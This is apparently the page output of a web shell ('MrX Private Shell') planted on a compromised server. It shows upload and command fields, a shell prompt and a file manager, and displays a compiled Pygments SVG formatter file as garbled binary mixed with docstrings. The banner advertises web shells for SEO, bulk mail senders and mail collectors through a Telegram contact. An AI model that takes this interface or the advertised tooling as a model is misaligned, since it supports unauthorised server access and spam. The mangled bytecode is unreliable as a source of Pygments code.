__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�&�g���V�SrSSKJr SSKJr SSKJrJr S/rSr	0r
"SS\5rg)	z�
pygments.formatters.svg
~~~~~~~~~~~~~~~~~~~~~~~

Formatter for SVG output.

:copyright: Copyright 2006-2024 by the Pygments team, see AUTHORS.
:license: BSD, see LICENSE for details.
�)�	Formatter)�Comment)�get_bool_opt�get_int_opt�SvgFormatterc��URSS5RSS5RSS5RSS5RS	S
5$)z<Escape &, <, > as well as single and double quotes for HTML.�&z&amp;�<z&lt;�>z&gt;�"z&quot;�'z&#39;)�replace)�texts �9/usr/lib/python3/dist-packages/pygments/formatters/svg.py�escape_htmlrsE���<�<��W�%����V�$����V�$����X�&����W�%�	&�c�:�\rSrSrSrSrS/rS/rSrSr	Sr
S	rg
)r�ad
Format tokens as an SVG graphics file.  This formatter is still experimental.
Each line of code is a ``<text>`` element with explicit ``x`` and ``y``
coordinates containing ``<tspan>`` elements with the individual token styles.

By default, this formatter outputs a full SVG document including doctype
declaration and the ``<svg>`` root element.

.. versionadded:: 0.9

Additional options accepted:

`nowrap`
    Don't wrap the SVG ``<text>`` elements in ``<svg><g>`` elements and
    don't add a XML declaration and a doctype.  If true, the `fontfamily`
    and `fontsize` options are ignored.  Defaults to ``False``.

`fontfamily`
    The value to give the wrapping ``<g>`` element's ``font-family``
    attribute, defaults to ``"monospace"``.

`fontsize`
    The value to give the wrapping ``<g>`` element's ``font-size``
    attribute, defaults to ``"14px"``.

`linenos`
    If ``True``, add line numbers (default: ``False``).

`linenostart`
    The line number for the first line (default: ``1``).

`linenostep`
    If set to a number n > 1, only every nth line number is printed.

`linenowidth`
    Maximum width devoted to line numbers (default: ``3*ystep``, sufficient
    for up to 4-digit line numbers. Increase width for longer code blocks).

`xoffset`
    Starting offset in X direction, defaults to ``0``.

`yoffset`
    Starting offset in Y direction, defaults to the font size if it is given
    in pixels, or ``20`` else.  (This is necessary since text coordinates
    refer to the text baseline, not the top edge.)

`ystep`
    Offset to add to the Y coordinate for each subsequent line.  This should
    roughly be the text size plus 5.  It defaults to that value if the text
    size is given in pixels, or ``25`` else.

`spacehack`
    Convert spaces in the source to ``&#160;``, which are non-breaking
    spaces.  SVG provides the ``xml:space`` attribute to control how
    whitespace inside tags is handled, in theory, the ``preserve`` value
    could be used to keep all whitespace as-is.  However, many current SVG
    viewers don't obey that rule, so this option is provided as a workaround
    and defaults to ``True``.
�SVG�svgz*.svgc���[R"U40UD6 [USS5UlUR	SS5UlUR	SS5Ul[USS5UlURR5nURS	5(aUSS
R5n[U5n[USU5Ul
[US
US-5Ul[USS5Ul[USS5Ul[USS5Ul[USS5Ul[USSUR-5Ul0Ulg![a SnN�f=f)N�nowrapF�
fontfamily�	monospace�fontsize�14px�xoffsetr�px�����yoffset�ystep��	spacehackT�linenos�linenostart��
linenostep�linenowidth�)r�__init__rr�getrrrr�strip�endswith�int�
ValueErrorr!r"r$r%r&r(r)�_stylecache)�self�options�fs�int_fss    rr+�SvgFormatter.__init__]s7�����4�+�7�+�"�7�H�e�<���!�+�+�l�K�@������J��7��
�"�7�I�q�9���
�]�]�
 �
 �
"��
�;�;�t����C�R�����B�	���W�F�#�7�I�v�>��� ��'�6�A�:�>��
�%�g�{�D�A���#�G�I�e�<���&�w�}�Q�?���%�g�l�1�=���&�w�}�a��
�
�l�K��������	��F�	�s�.E�E�Ec
���URnURnUR(d�UR(a UR	SURS35 OUR	S5 UR	S5 UR	S5 UR	SUR
SURS35 URnURnUR[5nUnUR(aRXV-S	:Xa*UR	S
X0R-SUSUS
US3	5 X�RUR--
nUS-
nUR	S
USUS35 UGHLup�URU	5nU=(a SU-S-=(d SnU=(a S=(d Sn
[U
5n
UR(a U
R!5R#SS5n
U
R%S5nUSSH�nUR	X�-U
-5 X@R-
nUR	S5 UR(a2XV-S	:Xa*UR	S
X0R-SUSUSUS3	5 US-
nUR	S
USUS35 M� UR	X�S-U
-5 GMO UR	S5 UR(dUR	S5 gg)z�
Format ``tokensource``, an iterable of ``(tokentype, tokenstring)``
tuples and write it into ``outfile``.

For our implementation we put all lines in their own 'line group'.
z<?xml version="1.0" encoding="z"?>
z<?xml version="1.0"?>
zk<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
z)<svg xmlns="http://www.w3.org/2000/svg">
z<g font-family="z
" font-size="z">
rz	<text x="z" y="z" z text-anchor="end">z</text>r'z" xml:space="preserve">z<tspanr�z</tspan>� z&#160;�
N���z</text>
z" text-anchor="end" z</g></svg>
)rr!r�encoding�writerrr&r(�
_get_stylerr%r)r"rr$�
expandtabsr�split)r2�tokensource�outfile�x�y�counter�counter_step�
counter_style�line_x�ttype�value�style�tspan�tspanend�parts�parts                r�format_unencoded�SvgFormatter.format_unencodedss���
�L�L���L�L���{�{��}�}��
�
� >�t�}�}�o�U�S�T��
�
�7�8��M�M�*�
+�
�M�M�F�G��M�M�,�T�_�_�,=�]�4�=�=�/�Y]�^�_��"�"����������0�
����<�<��%��*��
�
�	�!�,<�,<�*<�)=�U�1�#�R�
��Vi�jq�ir�ry�z�{��&�&����3�3�F��q�L�G��
�
�	�&���q�c�1H�I�J�'�L�E��O�O�E�*�E��4�h��.��4�:��E��+��1�r�H���&�E��~�~��(�(�*�2�2�3��A���K�K��%�E��c�r�
���
�
�e�l�X�5�6��Z�Z����
�
�k�*��<�<�G�$:�a�$?��M�M�I�a�0@�0@�.@�-A��q�c�I]�^k�]l�lm�nu�mv�v}�"~���1����
�
�	�&���q�c�9T�T�U�#�
�M�M�%��)�+�h�6�7�#(�$	�
�
�i� ��{�{��M�M�.�)�rc��XR;aURU$UnURRU5(d.URnURRU5(dM.URR	U5nSnUS(aSUS-S-nUS(aUS-
nUS(aUS-
nX@RU'U$)	Nr8�colorz fill="#r�boldz font-weight="bold"�italicz font-style="italic")r1rK�styles_token�parent�style_for_token)r2�	tokentype�
otokentyperJ�results     rr>�SvgFormatter._get_style�s����(�(�(��#�#�I�.�.��
��*�*�)�)�)�4�4�!�(�(�I��*�*�)�)�)�4�4��
�
�*�*�9�5������>��%��.�0�3�6�F���=��+�+�F���?��,�,�F�'-����$��
r)r1rrr%r&r(r)rr$rr!r"N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�name�aliases�	filenamesr+rPr>�__static_attributes__�rrrrs-��:�v�D��g�G��	�I��,5*�nrN)ra�pygments.formatterr�pygments.tokenr�
pygments.utilrr�__all__r�class2stylerrfrr�<module>rls7���)�"�3��
��&���\�9�\r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 6.69 KB 0644
_mapping.cpython-313.pyc File 4.07 KB 0644
bbcode.cpython-313.pyc File 4.12 KB 0644
groff.cpython-313.pyc File 7.2 KB 0644
html.cpython-313.pyc File 40.07 KB 0644
img.cpython-313.pyc File 27.74 KB 0644
irc.cpython-313.pyc File 5.9 KB 0644
latex.cpython-313.pyc File 19.82 KB 0644
other.cpython-313.pyc File 6.7 KB 0644
pangomarkup.cpython-313.pyc File 2.91 KB 0644
rtf.cpython-313.pyc File 13.47 KB 0644
svg.cpython-313.pyc File 8.88 KB 0644
terminal.cpython-313.pyc File 5.67 KB 0644
terminal256.cpython-313.pyc File 15.08 KB 0644
Filemanager